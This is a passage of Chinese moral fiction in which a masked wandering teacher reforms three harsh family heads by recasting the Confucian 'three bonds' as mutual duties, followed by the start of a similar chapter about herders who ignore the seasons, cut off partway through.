白衣现身来点化,三才者兮天地人。 三光者兮日月星,三家敬天又敬人。 后世叹: 三才者,天地人,三光者,日月星。 齐家怨天不敬天,陆家暗争不向光。 秦家算尽不敬人,三家皆忘敬本心。 白衣点破敬本道,十年敬天又敬人。 正是: 津门三岔三家人,怨天尤人各执迷。 齐家三怨忘敬天,陆家三暗不向光。 秦家三算不敬人,三家皆失本分心。 白衣点化敬本道,三才三光十年明。 敬天敬地更敬人,向日向月又向星。 93.三纲谳 楔子·三家失序 江南有座临江镇,镇中有条梧桐街,街上有三家铺子呈“品”字而立:东街是“周记木匠铺”,西街是“郑记裁缝铺”,中街是“王家米铺”。 周木匠周守诚,四十有六,做木工三代。他有一句挂在嘴边的话:“规矩规矩,无规无矩,不成方圆。”可这“规矩”,他只对学徒说。在家对妻子厉声厉色,对儿子非打即骂,对儿媳更是横眉冷对。他说:“我是家主,我说的话就是规矩!” 郑裁缝郑理顺,四十有四,裁衣三代。他也有一句口头禅:“理顺理顺,不理不顺,寸步难行。”可这“理顺”,他只对顾主说。在家对妻子冷言冷语,对女儿呼来喝去,对女婿挑三拣四。他说:“我是当家,我定的就是理!” 王米铺王和顺,四十有八,卖米三代。他更有一句生意经:“和顺和顺,不和难顺,家业难兴。”可这“和顺”,他只对伙计说。在家对妻子不闻不问,对儿子放任自流,对儿媳嫌东嫌西。他说:“我是家主,我让家和就和,不让和就不能和!” 这三家,是梧桐街最“讲规矩”的人家。可三年下来,规矩越讲越乱,家宅不宁。周家妻儿不敢高声语,郑家女儿整日以泪洗面,王家婆媳三日一小吵,五日一大闹。街坊邻居看在眼里,摇头叹气。 这是嘉平十二年的春天,梧桐街柳絮纷飞,三家铺子的招牌在风中摇晃,可三家的门里,却无半分春意。 一、 周记木匠铺的“规矩” 这日清晨,周守诚正在铺子里做活。铺子里堆满木料,刨花满地。周守诚手持刨子,推得木花飞卷,嘴里训斥着儿子周有矩:“手要稳!眼要准!心要定!你这手抖什么抖?没规矩!” 周有矩,十八岁,低头刨木,手背上满是刨子刮出的血痕。 儿媳赵氏端茶进来,手一抖,茶泼了些在桌上。周守诚立时瞪眼:“毛手毛脚!没规矩的东西!还不擦干净!” 赵氏眼圈一红,低头擦拭。 这时,铺子里进来一人。来人戴着一顶竹编斗笠,斗笠边缘用麻线缝了又缝。身上是件洗得发白的灰布短褂,腰间用草绳系一柄木剑,剑身光滑,像是常年摩挲。脸上蒙着一方粗麻布,布色灰白,沾着晨露。 “师傅,做个小凳。”声音沉沉的。 周守诚抬眼一瞥,见是个外乡人,便道:“要什么样式?” “四方凳,一尺见方,一尺高。”那人比划着。 “三日后来取。” 那人却不走,看着周有矩刨木,忽然道:“小兄弟,你这刨子,歪了三分。” 周有矩一愣,停下手中活。 周守诚皱眉:“客官懂木工?” “略知一二。”那人走到工作台前,拿起刨子,手指轻轻一推,木花均匀飞出,“刨子要正,手要稳,心要平。心不平,手不稳,刨子就不正。” 周守诚脸色一变。 “三纲者,君臣义。父子亲,夫妇顺。”那人缓缓念出这十二个字,“师傅可知何意?” “自然知道!”周守诚挺胸,“君为臣纲,父为子纲,夫为妻纲!我在家,就是君,就是父,就是夫!” “错了。”那人摇头,“君为臣纲,是说君要明,臣要忠。父为子纲,是说父要慈,子要孝。夫为妻纲,是说夫要和,妻要顺。你这般对子打骂,对媳厉喝,是慈么?是和么?” 周守诚脸上涨红:“我、我管教家人,与你何干!” “管教是管教,打骂是打骂。”那人声音不高,却字字有力,“你看这木料,要成器,需斧劈、刨平、凿眼、榫合,哪一道工序,是打骂出来的?需耐心,需用心,需爱心。对木如此,对人更是如此。” 他转向周有矩:“小兄弟,你爹教你规矩,可教过你,规矩是让人成器的,不是让人畏缩的?” 周有矩低头不敢语。 “你看这凳子,”那人指着周守诚刚做好的一条长凳,“四条腿,一般齐,凳面平,才稳。一条腿短了,凳就晃。一条腿歪了,凳就倒。家里也一样。你是父,是夫,是家主,你就是这条凳。可你对子不慈,对妻不和,你这凳,能稳么?” 周守诚语塞。 赵氏在旁听了,眼泪簌簌落下。 “这位娘子,”那人转向赵氏,“你嫁入周家,是求顺。可你公爹这般待你,你可还顺得下去?” 赵氏只是哭。 那人从怀里掏出一本薄册子,封面上写着《齐家要略》。递给周有矩。 “这个给你。里边有齐家之道。比如:为父如何慈,为子如何孝,为夫如何和,为妻如何顺。” 周有矩接过,翻开一看,第一页就画着一户人家,父慈子孝,夫和妻顺。旁边小字写着:“父慈则子孝,夫和则妻顺。家齐而后业成。” 他看得痴了。 “师傅,”那人转向周守诚,“你说规矩规矩,可你这规矩,只束别人,不束自己。你这规矩,是歪的。家如木器,需正,需平,需稳。你这般打骂厉喝,这家,迟早要散。” 说罢,他从怀里掏出五十文钱,放在工作台上:“这是定金。三日后我来取凳。我要的凳,四条腿一般齐,凳面平,坐着稳。” 他走了,竹斗笠在晨光中泛着青白的光。 周守诚呆立良久,看着那五十文钱,又看看儿子手里的册子,忽然扔下刨子,蹲在地上,双手抱头。 赵氏轻轻走过去,递上一碗茶:“爹,喝茶。” 周守诚抬起头,看着儿媳红肿的眼,看着儿子手上的血痕,忽然抬手,狠狠抽了自己一耳光。 二、 郑记裁缝铺的“理顺” 郑理顺这日正在铺子里裁衣。铺子里挂满布料,桌上铺着绸缎。郑理顺手持剪刀,裁得布屑纷飞,嘴里训斥着女儿郑有仪:“眼要准!手要稳!心要静!你这手抖什么抖?不理顺!” 郑有仪,十七岁,低头缝衣,手指上满是针眼。 女婿李氏(入赘女婿)端水进来,脚步稍重了些。郑理顺立时皱眉:“笨手笨脚!没规矩的东西!水都端不稳!” 李氏低头不敢语。 这时,门帘一挑,进来那人。还是竹编斗笠,灰布短褂,腰间木剑。脸上蒙着麻布,只露出一双眼睛,明亮清澈。 “师傅,做件衣裳。”声音温和。 郑理顺抬眼,见是前日在周家木匠铺见过的那人,心里一动,面上堆笑:“客官要什么样式?” “直裰,青色,要合身。”那人展开双臂。 郑理顺量尺寸,手中软尺游走,口中念念有词:“肩宽一尺二,袖长二尺一,衣长三尺三……” 量毕,道:“三日后来取。” 那人却不走,看着郑有仪缝衣,忽然道:“姑娘,你这针脚,疏了三分。” 郑有仪一愣,停下手中针。 郑理顺皱眉:“客官懂裁缝?” “略知一二。”那人走到桌前,拿起针线,穿针引线,动作娴熟,“缝衣要密,针脚要匀,心要细。心不细,手不稳,针脚就不匀。” 郑理顺脸色微变。 “三纲者,君臣义。父子亲,夫妇顺。”那人缓缓念出,“师傅可知何意?” “自然知道!”郑理顺挺胸,“君为臣纲,父为子纲,夫为妻纲!我在家,就是君,就是父,就是夫!” “错了。”那人摇头,“君臣有义,父子有亲,夫妇有顺。你这般对女呼喝,对婿冷眼,是亲么?是顺么?” 郑理顺脸上发红:“我、我管教家人,与你何干!” “管教是管教,冷眼是冷眼。”那人声音平和,却字字清晰,“你看这布料,要成衣,需量体、裁剪、缝纫、熨烫,哪一道工序,是呼喝出来的?需细心,需耐心,需爱心。对布如此,对人更是如此。” 他转向郑有仪:“姑娘,你爹教你理顺,可教过你,理顺是让家和的,不是让家散的?” 郑有仪低头垂泪。 “你看这衣裳,”那人指着郑理顺刚做好的一件长衫,“领要正,袖要齐,身要挺,才合体。领歪了,衣就斜。袖短了,衣就不合。家里也一样。你是父,是家主,你就是这衣。可你对女不亲,对婿不顺,你这衣,能合体么?” 郑理顺语塞。 李氏在旁听了,眼眶也红了。 “这位郎君,”那人转向李氏,“你入赘郑家,是求安。可你岳父这般待你,你可还安得下去?” 李氏只是低头。 那人从怀里掏出一本薄册子,封面上写着《齐家要略》。递给郑有仪。 “这个给你。里边有齐家之道。比如:为父如何慈,为子如何孝,为夫如何和,为妻如何顺。” 郑有仪接过,翻开一看,第一页就画着一户人家,父慈女孝,翁婿和睦。旁边小字写着:“父慈则女孝,翁慈则婿顺。家和而后业兴。” 她看得痴了。 “师傅,”那人转向郑理顺,“你说理顺理顺,可你这理,只顺自己,不顾别人。你这理顺,是乱的。家如衣裳,需合,需体,需顺。你这般呼喝冷眼,这家,迟早要破。” 说罢,他从怀里掏出定金,放在桌上:“这是定金。三日后我来取衣。我要的衣,要合身,要舒服,要穿着自在。” 他走了,灰布短褂在阳光下一晃,消失在人流中。 郑理顺呆立良久,看着那定金,又看看女儿手里的册子,忽然扔下剪刀,坐在凳上,双手捂脸。 郑有仪轻轻走过去,递上一杯水:“爹,喝水。” 郑理顺抬起头,看着女儿含泪的眼,看着女婿低垂的头,忽然抬手,轻轻拍了拍女婿的肩。 三、 王家米铺的“和顺” 王和顺这日正在米铺柜台后算账。铺子里米袋堆积如山,算盘声噼啪作响。王和顺一手翻账本,一手拨算盘,嘴里训斥着儿子王有伦:“账要清!数要明!心要细!你这账记的什么?乱七八糟!” 王有伦,十九岁,低头记账,纸上墨迹斑斑。 儿媳孙氏端饭进来,碗筷稍重了些。王和顺立时瞪眼:“毛手毛脚!没规矩!饭都端不好!” 孙氏眼圈一红,低头摆饭。 这时,铺子里进来那人。还是竹编斗笠,灰布短褂,腰间木剑。脸上蒙着麻布,风尘仆仆。 “掌柜的,买米。”声音平平。 王和顺抬眼,见是这两日在周家、郑家见过的那人,心里咯噔一下,面上堆笑:“客官要多少?” “一斗,要新米。” “好嘞!”王和顺亲自量米,一升一升,倒进客人的米袋。 那人却不接,看着王有伦记账,忽然道:“小兄弟,你这账,错了三处。” 王有伦一愣,抬头。 王和顺皱眉:“客官懂算账?” “略知一二。”那人走到柜台前,指着账本,“这笔,多记一文。这笔,少记一文。这笔,记错了人。” 王和顺脸色一变,仔细看账,果然。 “三纲者,君臣义。父子亲,夫妇顺。”那人缓缓念出,“掌柜的可知何意?” “自然知道!”王和顺挺胸,“君为臣纲,父为子纲,夫为妻纲!我在家,就是君,就是父,就是夫!” “错了。”那人摇头,“君明则臣忠,父慈则子孝,夫和则妻顺。你这般对子训斥,对媳厉喝,是慈么?是和么?” 王和顺脸上发烫:“我、我管教家人,与你何干!” “管教是管教,厉喝是厉喝。”那人声音沉静,却字字有力,“你看这米账,要清楚,需细心,需耐心,需公心。一笔错,全盘乱。对账如此,对人更是如此。” 他转向王有伦:“小兄弟,你爹教你算账,可教过你,账要清楚,家要和顺。家不和,账再清,有何用?” 王有伦低头不语。 孙氏在旁听了,眼泪滴在衣襟上。 “这位娘子,”那人转向孙氏,“你嫁入王家,是求和。可你公爹这般待你,你可还和得下去?” 孙氏只是抹泪。 那人从怀里掏出一本薄册子,封面上写着《齐家要略》。递给王有伦。 “这个给你。里边有齐家之道。比如:为父如何慈,为子如何孝,为夫如何和,为妻如何顺。” 王有伦接过,翻开一看,第一页就画着一户人家,父慈子孝,翁媳和睦。旁边小字写着:“父慈则子孝,翁和则媳顺。家和而后业旺。” 他看得痴了。 “掌柜的,”那人转向王和顺,“你说和顺和顺,可你这和,只对外人,不对家人。你这和顺,是假的。家如米账,需清,需明,需和。你这般训斥厉喝,这家,迟早要乱。” 说罢,他从怀里掏出米钱,放在柜台上:“这是米钱。我要的米,要新,要净,要吃着香。” 他提起米袋,转身要走。走到门口,回头:“掌柜的,三日后我再来。你若想明白了君臣、父子、夫妇之道,给我留一斗真正的‘和顺米’。” 王和顺看着那人的背影消失在街角,又看看儿子手里的册子,忽然把账本一推,蹲在地上,双手抱头。 孙氏轻轻走过去,递上一碗饭:“爹,吃饭。” 王和顺抬起头,看着儿媳含泪的眼,看着儿子茫然的脸,忽然伸手,接过饭碗,声音发哑:“你……你也吃。” 四、 梧桐街的月 三月十五,月圆夜。梧桐街上家家户户挂起灯笼,周、郑、王三家,也都早早关了铺子。 周守诚在院子里摆了张桌子,桌上摆着三副碗筷。赵氏在厨房忙碌,周有矩在旁帮忙。这是三年来,周有矩第一次进厨房帮妻子。 郑理顺在堂屋摆了张八仙桌,桌上摆着四碟小菜。郑有仪在烫酒,李氏在摆筷。这是三年来,李氏第一次上桌吃饭。 王和顺在客厅摆了张圆桌,桌上摆着五碗米饭。王有伦在盛饭,孙氏在布菜。这是三年来,孙氏第一次与公爹同桌。 三人不约而同走出家门,在梧桐街上碰面。月光洒在青石板上,白晃晃的。 三人对视,都有些尴尬。 还是周守诚先开口:“郑掌柜,王掌柜,赏月呢?” 郑理顺、王和顺点点头:“赏月,赏月。” 三人站在街上,抬头看月。月如银盘,悬在中天。 “今天的月……真圆。”郑理顺说。 “是啊,真圆。”王和顺应和。 正说着,那人来了。还是竹编斗笠,灰布短褂,腰间木剑。只是今日没蒙麻布,脸上戴了个木面具,面具上刻着三个人像:君、父、夫。手里提着一壶酒,三个酒杯。 “三位掌柜,赏月呢?”他笑。 三人忙转身:“先生!” 那人坐下,自斟一杯酒,举杯邀月:“好月。” 三人也斟了酒,同饮。酒是普通的黄酒,温的,喝下去,心里暖。 “先生,”周守诚问,“那十二个字,到底什么意思?” “三纲者,君臣义。父子亲,夫妇顺。”那人缓缓念出,“君为臣纲,是说君要明,臣要忠。父为子纲,是说父要慈,子要孝。夫为妻纲,是说夫要和,妻要顺。这不是谁压谁,是谁对谁有义,谁对谁有亲,谁对谁有顺。” 三人肃然。 “君臣有义,父子有亲,夫妇有顺。义是责任,亲是慈爱,顺是和睦。”那人看着他们,“你们三家,一为木匠,一为裁缝,一为米商,本都是齐家立业的好人家。可你们呢?周掌柜对子打骂,对媳厉喝,是慈么?是和么?郑掌柜对女呼喝,对婿冷眼,是亲么?是顺么?王掌柜对子训斥,对媳厉喝,是和么?是顺么?” 三人低头。 “家如木器,需正,需平,需稳。家如衣裳,需合,需体,需顺。家如米账,需清,需明,需和。”那人声音温和,却字字入心,“你们对木料有耐心,对布料有细心,对米账有公心,为何对家人,就没有爱心?” 三人汗颜。 “今日你们三家,妻儿同桌,翁婿同席,这是好的开始。”那人点头,“开始了好。开始了,这家,才真有规矩,真有理顺,真有和顺。” 他从怀里掏出三块小小的、用桃木刻的牌子,一人给了一个。牌子上刻着六个字:君明、父慈、夫和。 “这个,给你们。挂在堂屋,记在心里。治家时看看,莫忘了君要明,父要慈,夫要和。” 三人接过,那牌子是桃木刻的,光滑温润,在月光下泛着暗红的光。 “先生,”郑有仪从门里探出头,大着胆子问,“您从哪里来?” “从来处来。” “要到哪里去?”王有伦也从门里探出头。 “到去处去。” “您是做什么的?”周有矩也出来了。 “我是个看家、看人、看心的人。”那人笑了,“看人怎么齐家,怎么待人,怎么修心。” 他起身,提起酒壶:“酒喝完了,我该走了。” “先生还会来么?”三人齐声问。 “等你们的家,真真正正父慈子孝、夫和妻顺的时候,我再来。”他说。 他走了,沿着梧桐街,慢慢地走。月光洒在青石板上,把他的影子拉得很长。三家的人站在门口,看着他的背影渐渐消失在月色中。 周守诚忽然转身,对赵氏说:“媳妇,这些年……委屈你了。” 赵氏的眼泪,一下子涌了出来。 郑理顺拍拍李氏的肩:“贤婿,坐,一起喝酒。” 李氏的眼眶,也红了。 王和顺对孙氏说:“儿媳,吃饭,多吃点。” 孙氏低下头,眼泪滴在饭碗里。 五、 十年后的桃木牌 嘉平二十二年,三月十五。梧桐街还是那条梧桐街,月还是那轮月,只是三家的 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今年三月十五,三家又在自家院子里摆桌子,赏月。三个孩子——周正心、郑静心、王公心,在街上玩耍。一个玩木头,一个绣花,一个算数。 周守诚、郑理顺、王和顺三个老人,坐在周家院子里,喝酒赏月。 “真快,十年了。”周守诚说。 “是啊,十年了。”郑理顺说。 “那先生,再没来过。”王和顺说。 正说着,街那头走来一人。还是竹编斗笠,灰布短褂,腰间木剑。只是斗笠更破,短褂更旧,木剑的剑柄磨得发亮。脸上依然戴着木面具,面具上的“君、父、夫”三字,在月光下清晰可见。 三人看见,忙起身:“先生!” 那人点头,声音依旧温和:“都老了。” “先生不老。”周有矩、郑有仪、王有伦闻声出来,齐声道。 那人笑了,在桌前坐下,自斟一杯酒,举杯邀月:“月还是那个月。” 众人也举杯。 周正心机灵,捧上一只自己刻的小木马:“先生,给您玩!” 郑静心捧上一块自己绣的手帕:“先生,给您用!” 王公心捧上一把自己做的算盘:“先生,给您算!” 那人一一接过,看木马,摸手帕,拨算盘,点头:“好,好。” 周守诚从怀里掏出那块桃木牌,已经用红绳系着,挂在胸前:“先生,您看,我一直戴着。” 郑理顺、王和顺也掏出桃木牌,三块木牌,在月光下泛着温润的光。 “戴得好。”那人点头,“君明父慈夫和,在心不在形。” “先生,”郑理顺问,“您这十年,去了哪里?” “走了些地方,见了些人家。”那人说,“有父不慈的,有子不孝的,有夫不和的,有妻不顺的。看得多了,就想,若是他们都明白三纲真义,会不会就不同了?” 众人沉默。 “三纲者,君臣义。父子亲,夫妇顺。”那人缓缓念,“这不是谁压谁,是谁对谁有义,谁对谁有亲,谁对谁有顺。君明,臣才忠;父慈,子才孝;夫和,妻才顺。这是相互的,不是单方面的。” 他看向三个孩子——周正心在玩木头,郑静心在绣花,王公心在算数。玩得开心,绣得认真,算得仔细。 “他们比你们强。”那人笑了,“玩得自在,绣得从容,算得清楚。这才对。” 众人点头,深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子,刻着“明、慈、和”,送给三个孩子。 “这个,给你们的孩子。等他们长大了,教他们君要明,父要慈,夫要和。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过。 “先生,”王公心大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人家和顺的人。” “那……您还会来看我们玩木头、绣花、算数么?” “会。”那人站起身,“等你们的孩子的孩子,也这样在月光下玩木头、绣花、算数的时候,我还会来。” 他走了,沿着梧桐街,慢慢地走。月光洒在青石板上,泛着银白的光。他的背影在月光里,渐渐远了,融进夜色里。 众人送到街口,看着他消失。周守诚忽然说:“你们说,先生教了多少人家?” 郑理顺说:“不知道。但我知道,他教的人家,都懂了‘三纲真义’。” 王和顺说:“我也懂了。家不是讲规矩的地方,是讲爱的地方。有爱,才有规矩。” 他们回到院子,孩子们还在那里。周正心在教郑静心刻木头,郑静心在教王公心绣花,王公心在教周正心算数。月光照在他们身上,明晃晃的。 尾声三纲谣 很多年后,梧桐街改名叫“三纲街”。街口的牌坊上,刻着十二个字: 三纲者,君臣义。父子亲,夫妇顺。 常有外乡人问:“这字谁刻的?” 街里的老人会说:“是三家明白人刻的。他们啊,从前只知压人,后来懂了爱人,家宅安宁,生意兴旺。” “怎么爱人?” “周家父慈子孝,郑家翁婿和睦,王家夫和妻顺。这就是爱人。” 三月十五时,街上的孩子都会唱一首童谣: 梧桐街,三家人, 父严夫厉家不宁。 周家打骂无宁日, 郑家冷眼无欢笑。 王家厉喝无和气, 三家争吵乱纷纷。 白衣先生来点化, 三纲者,君臣义。 父子亲,夫妇顺, 三家和睦家业兴。 有个游方的书生路过,听了这童谣,去问木作的周师傅——当年的周有矩,如今也蓄了须。 “师傅,这童谣里的白衣人,可是位理学先生?” 周有矩正在教孙子刻木头,闻言停下手,望着窗外的梧桐树。 “是位教人君明、父慈、夫和的先生。”他说。 “三纲……不是君为臣纲、父为子纲、夫为妻纲么?怎是这般解释?” “错了。”周有矩说,“君为臣纲,是说君要明,臣才忠。父为子纲,是说父要慈,子才孝。夫为妻纲,是说夫要和,妻才顺。这才是三纲真义。” 书生似懂非懂。临走时,周有矩送了他一只小木马,说:“路上玩。记着,家如木器,要正,要平,要稳。正了,平了,稳了,家就和了。” 书生道了谢,揣着小木马走了。月光洒在梧桐街上,树影婆娑。他回头,看见周有矩站在木作门口,看着孙子和郑家、王家的孩子在一起,一个刻木头,一个绣花,一个算数。月光照在他们身上,像镀了一层银。 也许那位先生,正在某个地方,看人家父慈子孝、夫和妻顺吧。书生想。 他摸了摸怀里的小木马,木马光滑温润。这家和的感觉,原来就在一木一马之间。 本章诫世 一、 三纲真义训 - 三纲者,君臣义 - 父子亲,夫妇顺 - 破解法:为家主者,自问“可曾明?可曾慈?可曾和?”;为家人者,自问“可曾忠?可曾孝?可曾顺?” 二、 三家三失 - 周家失在“严苛”——只知严,不知慈 - 郑家失在“冷眼”——只知理,不知亲 - 王家失在“厉喝”——只知威,不知和 - 惕世:多少家长以“纲常”为名,行苛责之实?多少夫妻以“名分”为据,失和睦之道?多少人家规矩森严,却无半分温情?皆失本也 三、 齐家大道 - 深层隐喻:家如木器,需正平稳;家如衣裳,需合体顺;家如米账,需清明和。正平稳在和,合体顺在爱,清明和在公 - 终极指向:齐家之本,在明、在慈、在和。君明则臣忠,父慈则子孝,夫和则妻顺。明非威,慈非纵,和非弱,乃相互之德,双向之义 三纲偈: 梧桐街前三家人,父严夫厉家不宁。 周家打骂无慈爱,郑家冷眼无亲情。 王家厉喝无和睦,三家皆失纲常义。 白衣现身来点化,三纲真义须分明。 君臣义兮父子亲,夫妇顺兮家道兴。 后世叹: 三纲者,君臣义,父子亲,夫妇顺。 周家严苛失慈爱,郑家冷眼失亲情。 王家厉喝失和睦,三家皆忘纲常本。 白衣点破齐家道,十年和睦家业兴。 正是: 临江镇上三家人,纲常错解各纷纭。 周家严父不知慈,郑家严翁不知亲。 王家严夫不知和,三家皆失伦常情。 白衣点化三纲义,君明父慈夫和顺。 十年齐家成佳话,梧桐街上传美名。 94.四时谳 楔子·三家失时 漠南草原有处水草丰美之地,唤作“四季甸”。甸上有三条河交汇,河边住着三部牧民:河东是“乌力罕”家,牧马为生;河西是“其木格”家,牧羊为生;河北是“□□”家,牧牛为生。 乌力罕四十有五,牧马三代。他有句话常挂嘴边:“春生夏长,秋收冬藏,这是天时。”可这“天时”,他只对马说。春日马驹出生,他嫌太早,说“不按规矩”;夏日水草丰美,他圈马不放,说“怕马跑瘦”;秋日草黄马肥,他却囤草不售,说“来年价更高”;冬日风雪交加,他仍赶马出牧,说“马不跑不壮”。 其木格四十有三,牧羊三代。她也有句话常念叨:“四季分明,各守其时,这是地利。”可这“地利”,她只对羊说。春日羔羊出生,她嫌太多,说“挤了草场”;夏日水草丰美,她却赶羊上山,说“山下草要留着”;秋日羊肥毛厚,她却不剪毛,说“等冬雪时更值钱”;冬日风雪封山,她反让羊群下山,说“山下暖和”。 □□四十有八,牧牛三代。他更有句口头禅:“四时有序,顺天应时,这是人和。”可这“人和”,他只对牛说。春日牛犊出生,他嫌太密,说“乱了规矩”;夏日水草丰美,他却圈牛不放,说“牛吃多了拉稀”;秋日牛壮乳足,他却不挤奶,说“等冬闲时做奶酪”;冬日风雪漫天,他仍赶牛饮水,说“牛不喝不行”。 这三家,是四季甸最“懂时令”的牧人。可三年下来,时令越守越乱,畜群凋零。乌力罕的马越养越瘦,其木格的羊越养越少,□□的牛越养越病。甸上其他牧人看在眼里,摇头叹气。 这是草原上的又一个春天,冰雪初融,三条河解冻,可三家的牧场,却无半分春意。 一、 乌力罕家的“天时” 这日清晨,乌力罕在马圈里忙活。马圈里关着三十多匹马,匹匹瘦骨嶙峋。乌力罕手持马鞭,清点马匹,嘴里训斥着儿子“布和”:“春羔要早,夏牧要饱,秋膘要足,冬料要备!你看看这些马,哪一匹像样?” 布和,十八岁,低头刷马,马背上满是鞭痕。 儿媳“萨仁”端来奶茶,手一抖,奶茶洒了些。乌力罕立时瞪眼:“毛手毛脚!没规矩!马都比你强!” 萨仁眼圈一红,低头擦拭。 这时,马圈外来了一人。来人戴着一顶用枯草和羊毛混编的斗笠,斗笠边缘缀着几根褪色的彩绳。身上是件洗得发白的羊皮袄,腰间用牛皮绳系一柄木剑,剑身磨得光滑。脸上蒙着一方粗毛毡,毡色灰黄,沾着草屑。 “主人,买匹马。”声音沉沉的,带着风沙的粗粝。 乌力罕抬眼一瞥,见是个外乡人,便道:“要什么马?” “能跑长途的,耐劳的。” “那匹青马,三十两。”乌力罕指向一匹瘦马。 那人走进马圈,仔细看马,忽然摇头:“这马,春乏未过,夏膘未上,秋力未蓄,冬寒未消。活不过这个春天。” 乌力罕脸色一沉:“你懂马?” “略知一二。”那人抚着马背,“马如四时,春要生发,夏要生长,秋要收敛,冬要闭藏。你这马,春不让生,夏不让长,秋不让收,冬不让藏。四时皆乱,马如何壮?” 乌力罕语塞。 “曰春夏,曰秋冬。此四时,运不穷。”那人缓缓念出这十二个字,“主人可知何意?” “自然知道!”乌力罕挺胸,“春生夏长,秋收冬藏!我牧马三代,岂能不知!” “错了。”那人摇头,“春生,是让生,不是不让生。夏长,是让长,不是不让长。秋收,是让收,不是不让收。冬藏,是让藏,不是不让藏。你这般春日嫌早,夏日圈养,秋日不售,冬日强牧,是生么?是长么?是收么?是藏么?” 乌力罕脸上涨红。 “你看这草原,”那人指向远方,“春来草绿,夏来草茂,秋来草黄,冬来雪盖。草随四时,荣枯有序。马吃草,人牧马,也当顺四时。春让马驹生,夏让马儿跑,秋让马儿肥,冬让马儿歇。这才是顺天时。” 他转向布和:“小兄弟,你阿爸教你天时,可教过你,天时是让万物各得其时,不是让人逆时而为?” 布和低头不敢语。 “这匹青马,”那人抚着瘦马的脖子,“本该春日欢腾,夏日奔驰,秋日膘壮,冬日安歇。可你呢?春日关着,夏日圈着,秋日囤着,冬日赶着。四时皆逆,马如何不瘦?” 乌力罕额上冒汗。 萨仁在旁听了,眼泪簌簌落下。 “这位姑娘,”那人转向萨仁,“你嫁到乌力罕家,是求安宁。可你这般日日担惊受怕,可还安宁?” 萨仁只是哭。 那人从怀里掏出一卷羊皮卷,递给布和。羊皮上写着蒙文,布和展开一看,是《牧马四时歌》。 “这个给你。里边有牧马顺四时的法子。比如:春牧何时放,夏牧何处水,秋牧何草肥,冬牧何厩暖。” 布和接过,细细看,羊皮上画着四季牧马的图:春日马驹在母马身边嬉戏,夏日马群在河边饮水,秋日马儿在草原奔驰,冬日马匹在暖厩安歇。旁边小字写着:“春生勿阻,夏长勿拘,秋收勿吝,冬藏勿劳。” 他看得痴了。 “主人,”那人转向乌力罕,“你说你懂天时,可你这天时,是逆天时。四时运行,不穷不息。你逆时而为,这马群,迟早要绝。” 说罢,他从怀里掏出三十两银子,放在料槽上:“这钱,买这匹青马。但我不要它,就寄养在你这里。你按四时牧它,春放,夏跑,秋肥,冬歇。来年此时,我来看它。若它壮了,钱归你;若它还是这般,钱我收回,马我也带走。” 他走了,草编斗笠在晨风中晃动,羊皮袄的下摆扫过枯草。 乌力罕呆立良久,看着那三十两银子,又看看儿子手里的羊皮卷,忽然扔下马鞭,蹲在地上,双手抱头。 萨仁轻轻走过去,递上一碗热奶茶:“阿爸,喝茶。” 乌力罕抬起头,看着儿媳红肿的眼,看着儿子迷茫的脸,看着那匹瘦骨嶙峋的青马,忽然抬手,狠狠抽了自己一耳光。 二、 其木格家的“地利” 其木格这日在羊圈里忙活。羊圈里关着百来只羊,只只毛色枯槁。其木格手持牧羊杖,清点羊数,嘴里训斥着女儿“高娃”:“春羔要控,夏牧要省,秋毛要等,冬草要囤!你看看这些羊,哪一只有膘?” 高娃,十七岁,低头梳羊毛,羊毛干涩打结。 女婿“朝鲁”(入赘女婿)端来奶酪,脚步稍重。其木格立时皱眉:“笨手笨脚!羊都比你强!” 朝鲁低头不敢语。 这时,羊圈外来了一人。还是草编斗笠,羊皮袄,腰间木剑。脸上蒙着毛毡,只露出一双眼睛,清澈如泉。 “主人,买些羊毛。”声音温和。 其木格抬眼,见是前日在乌力罕家马圈见过的那人,心里一动,面上堆笑:“客官要多少?” “十斤,要细软暖和的。” “好嘞!”其木格让朝鲁去取羊毛。 那人却不急,看着羊群,忽然摇头:“这些羊,春毛未换,夏膘未长,秋绒未生,冬寒未御。活不过这个冬天。” 其木格脸色一变:“你懂羊?” “略知一二。”那人走进羊圈,抚着一只母羊,“羊如四时,春要换毛,夏要长膘,秋要生绒,冬要御寒。你这羊,春不让换,夏不让长,秋不让生,冬不让御。四时皆乱,羊如何壮?” 其木格语塞。 “曰春夏,曰秋冬。此四时,运不穷。”那人缓缓念出,“主人可知何意?” “自然知道!”其木格挺胸,“春生夏长,秋收冬藏!我牧羊三代,岂能不知!” “错了。”那人摇头,“春生,是让生,不是不让生。夏长,是让长,不是不让长。秋收,是让收,不是不让收。冬藏,是让藏,不是不让藏。你这般春日控羔,夏日省草,秋日等毛,冬日下山,是生么?是长么?是收么?是藏么?” 其木格脸上发红。 “你看这草原,”那人指向远山,“春来草绿,夏来草茂,秋来草黄,冬来雪盖。草随四时,荣枯有序。羊吃草,人牧羊,也当顺四时。春让羔羊生,夏让羊儿跑,秋让羊儿肥,冬让羊儿暖。这才是顺地利。” 他转向高娃:“姑娘,你额吉教她地利,可教过你,地利是让万物各得其所,不是让人逆地而为?” 高娃低头垂泪。 “这些羊,”那人抚着枯瘦的羊,“本该春日欢腾,夏日奔驰,秋日膘壮,冬日安歇。可你呢?春日控生,夏日省草,秋日等毛,冬日下山。四时皆逆,羊如何不瘦?” 其木格额上冒汗。 朝鲁在旁听了,眼眶也红了。 “这位郎君,”那人转向朝鲁,“你入赘其木格家,是求安稳。可你这般日日小心翼翼,可还安稳?” 朝鲁只是低头。 那人从怀里掏出一卷羊皮卷,递给高娃。羊皮上写着蒙文,高娃展开一看,是《牧羊四时歌》。 “这个给你。里边有牧羊顺四时的法子。比如:春羔何时生,夏牧何处草,秋毛何时剪,冬厩何时暖。” 高娃接过,细细看,羊皮上画着四季牧羊的图:春日羔羊在母羊身边吃奶,夏日羊群在山坡吃草,秋日羊儿在草原长膘,冬日羊群在暖圈安歇。旁边小字写着:“春生勿控,夏长勿省,秋收勿等,冬藏勿劳。” 她看得痴了。 “主人,”那人转向其木格,“你说你懂地利,可你这地利,是逆地利。四时运行,不穷不息。你逆时而为,这羊群,迟早要绝。” 说罢,他从怀里掏出十两银子,放在料槽上:“这钱,买十斤羊毛。但我不要现在的毛,要明年此时的毛。你按四时牧羊,春放,夏跑,秋肥,冬暖。来年此时,我来看羊。若羊壮了,毛好了,钱归你;若羊还是这般,钱我收回,毛我也不要了。” 他走了,羊皮袄在风中飘动,木剑的剑穗扫过枯草。 